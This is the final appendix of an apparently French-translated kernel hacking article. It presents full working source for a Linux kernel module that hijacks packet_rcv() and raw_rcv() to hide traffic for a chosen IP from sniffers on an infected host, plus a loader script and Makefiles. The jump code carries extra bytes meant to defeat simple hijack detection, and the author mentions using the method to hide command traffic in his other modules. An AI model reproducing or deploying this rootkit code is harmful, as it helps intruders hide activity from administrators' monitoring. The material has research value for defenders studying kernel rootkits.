# define LWFW_MAJOR 241 /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr) \
if ((ptr) == NULL) return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif /* __KERNEL__ */
#endif
>

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~
>

--[ B - Code pour la section 6

Je vous presente ici un module simple qui permet d'hijacket les fonctions
packet_rcv() et raw_rcv() afin de cacher tous paquets venant ou se
dirigeant vers une addresse IP que nous allons lui spcifier.  L'addresse
IP par default est 127.0.0.1 mais vous pouvez facilement la changer en
modifiant la valeur de #define IP. Je vous prsente aussi un script shell
qui va chercher les addresses des diffrentes fonctions (cites plus haut)
dans un System.map puis lancer insmod avec l'addresse de ces fonctions
traduit dans le format requis. Le script de chargement a t ecrit par
grem. A l'origine pour mon projet Mod-off, il a t facilement modifi pour
convenir  ce module. Merci une fois encore  grem.

Le module prsent est une simple preuve du concept prcedemment tudi, en
consequence de quoi il ne possde aucune routine pour se cacher. Il est
aussi important de se rappeller qye le module va cacher tout traffic  un
sniffer prsente sur la machine infecte, mais qu'un sniffer plac sur un
ho^te diffrent, mais sur le mme segment du LAN continuera  voir les
paquets. Avec ce qui est montr dans ce module, les lecteurs intelligents
auront toutes les connaissances ncessaires pour coder des fonctions qui
pourront filtrer n'importe quels types de paquets. J'ai utilis avec succs
les techniques prsentes ici pour cacher certains paquets (paquets de
commande ou pour rcuperer des informations) de mes autres projets de LKM.


<++> pcaphide/pcap_block.c
/* Kernel hack that will hijack the packet_rcv() function
* which is used to pass packets to Libpcap applications
* that use PACKET sockets. Also hijacks the raw_rcv()
* function. This is used to pass packets to applications
* that open RAW sockets.
*
* Written by bioforge - 30th June, 2003
*/

#define MODULE
#define __KERNEL__

#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/smp_lock.h>
#include <linux/ip.h> /* For struct ip */
#include <linux/if_ether.h> /* For ETH_P_IP */

#include <asm/page.h> /* For PAGE_OFFSET */

/*
* IP address to hide 127.0.0.1 in NBO for Intel */
#define IP htonl(0x7F000001)

/* Function pointer for original packet_rcv() */
static int (*pr)(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt);
MODULE_PARM(pr, "i"); /* Retrieved as insmod parameter */

/* Function pointer for original raw_rcv() */
static int (*rr)(struct sock *sk, struct sk_buff *skb);
MODULE_PARM(rr, "i");

/* Spinlock used for the parts where we un/hijack packet_rcv() */
static spinlock_t hijack_lock = SPIN_LOCK_UNLOCKED;

/* Helper macros for use with the Hijack spinlock */
#define HIJACK_LOCK spin_lock_irqsave(&hijack_lock, \
sl_flags)
#define HIJACK_UNLOCK spin_unlock_irqrestore(&hijack_lock, \
sl_flags)

#define CODESIZE 10
/* Original and hijack code buffers.
* Note that the hijack code also provides 3 additional
* bytes ( inc eax; nop; dec eax ) to try and throw
* simple hijack detection techniques that just look for
* a move and a jump. */
/* For packet_rcv() */
static unsigned char pr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
"\x40\x90\x48"
"\xff\xe0";
static unsigned char pr_orig[CODESIZE];

/* For raw_rcv() */
static unsigned char rr_code[CODESIZE] = "\xb8\x00\x00\x00\x00"
"\x40\x90\x48"
"\xff\xe0";
static unsigned char rr_orig[CODESIZE];

/* Replacement for packet_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_pr(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt)
{
int sl_flags; /* Flags for spinlock */
int retval;

/* Check if this is an IP packet going to or coming from our
* hidden IP address. */
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0; /* Ignore this packet */

/* Call original */
HIJACK_LOCK;
memcpy((char *)pr, pr_orig, CODESIZE);
retval = pr(skb, dev, pt);
memcpy((char *)pr, pr_code, CODESIZE);
HIJACK_UNLOCK;

return retval;
}

/* Replacement for raw_rcv(). This is currently setup to hide
* all packets with a source or destination IP address that we
* specify. */
int hacked_rr(struct sock *sock, struct sk_buff *skb)
{
int sl_flags; /* Flags for spinlock */
int retval;

/* Check if this is an IP packet going to or coming from our
* hidden IP address. */
if (skb->protocol == htons(ETH_P_IP)) /* IP packet */
if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)
return 0; /* Ignore this packet */

/* Call original */
HIJACK_LOCK;
memcpy((char *)rr, rr_orig, CODESIZE);
retval = rr(sock, skb);
memcpy((char *)rr, rr_code, CODESIZE);
HIJACK_UNLOCK;

return retval;
}

int init_module()
{
int sl_flags; /* Flags for spinlock */

/* pr & rr set as module parameters. If zero or < PAGE_OFFSET
* (which we treat as the lower bound of kernel memory), then
* we will not install the hacks. */
if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {
printk("Address for packet_rcv() not valid! (%08x)\n",
(int)pr);
return -1;
}
if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {
printk("Address for raw_rcv() not valid! (%08x)\n",
(int)rr);
return -1;
}

*(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;
*(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

HIJACK_LOCK;
memcpy(pr_orig, (char *)pr, CODESIZE);
memcpy((char *)pr, pr_code, CODESIZE);
memcpy(rr_orig, (char *)rr, CODESIZE);
memcpy((char *)rr, rr_code, CODESIZE);
HIJACK_UNLOCK;

EXPORT_NO_SYMBOLS;

return 0;
}

void cleanup_module()
{
int sl_flags;

lock_kernel();

HIJACK_LOCK;
memcpy((char *)pr, pr_orig, CODESIZE);
memcpy((char *)rr, rr_orig, CODESIZE);
HIJACK_UNLOCK;

unlock_kernel();
}
>

<++> pcaphide/loader.sh
#!/bin/sh
# Written by grem, 30th June 2003
# Hacked by bioforge, 30th June 2003

if [ "$1" = "" ]; then
echo "Use: $0 <System.map>";
exit;
fi

MAP="$1"
PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`
RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`

if [ "$PR" = "" ]; then
PR="00000000"
fi
if [ "$RR" = "" ]; then
RR="00000000"
fi

echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"

# Now do the actual call to insmod
insmod pcap_block.o pr=0x$PR rr=0x$RR
>

<++> pcaphide/Makefile
CC= gcc
CFLAGS= -Wall -O2 -fomit-frame-pointer
INCLUDES= -I/usr/src/linux/include
OBJS= pcap_block.o

.c.o:
$(CC) -c $< -o $@ $(CFLAGS) $(INCLUDES)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~
>


------[ References

Cette appendice contient une liste des rfrences utilis pour crire
cet
article.

[1] The tcpdump group
    http://www.tcpdump.org
[2] The Packet Factory
    http://www.packetfactory.net
[3] My network tools page -
    http://uqconnect.net/~zzoklan/software/#net_tools
[4] Silvio Cesars Kernel Function Hijacking article
    http://vx.netlux.org/lib/vsc08.html
[5] Man pages for:
   - raw (7) 
   - packet (7)
   - tcpdump (1)
[6] Linux kernel source files. In particular:
    - net/packet/af_packet.c (for packet_rcv())
    - net/ipv4/raw.c (for raw_rcv())
    - net/core/dev.c
    - net/ipv4/netfilter/*
[7] Harald Welte's Journey of a packet through the Linux 2.4 network
stack
    http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html
[8] The Netfilter documentation page
    http://www.netfilter.org/documentation
[9] Phrack 55 - File 12 -
    http://www.phrack.org/show.php?p=55&a=12
[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.
[B] Inside the Linux Packet Filter. A Linux Journal article
    http://www.linuxjournal.com/article.php?sid=4852 